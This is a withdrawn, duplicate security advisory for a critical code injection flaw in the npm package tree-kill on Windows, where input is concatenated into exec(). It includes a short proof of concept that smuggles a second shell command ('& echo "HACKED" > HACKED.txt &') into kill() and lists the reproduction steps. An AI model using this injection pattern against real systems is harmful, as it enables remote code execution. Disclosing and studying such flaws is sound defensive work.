GHSA-mxq6-vrrr-ppmg

Suggest an improvement
Source
https://github.com/advisories/GHSA-mxq6-vrrr-ppmg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/05/GHSA-mxq6-vrrr-ppmg/GHSA-mxq6-vrrr-ppmg.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-mxq6-vrrr-ppmg
Withdrawn
2023-11-08T19:16:49Z
Published
2022-05-24T17:04:00Z
Modified
2023-11-08T20:03:29Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Duplicate Advisory: tree-kill vulnerable to remote code execution
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-884p-74jh-xrg2. Ths link is maintained to preserve external references.

Original Description

A Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command, which is executed without any check. The issue arises here: https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20 . While the Linux part is sanitized, the Windows on simply uses the + operand to concatenate the input into exec()

Steps To Reproduce:

Create the following PoC file:

// poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in another terminal:

npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

A new file called HACKED.txt will be created, containing the HACKED string.

Database specific
{
    "cwe_ids": [
        "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-19T18:39:48Z",
    "nvd_published_at": "2019-12-18T21:15:00Z",
    "severity": "CRITICAL"
}
References

Affected packages

npm / tree-kill

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
1.2.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/05/GHSA-mxq6-vrrr-ppmg/GHSA-mxq6-vrrr-ppmg.json"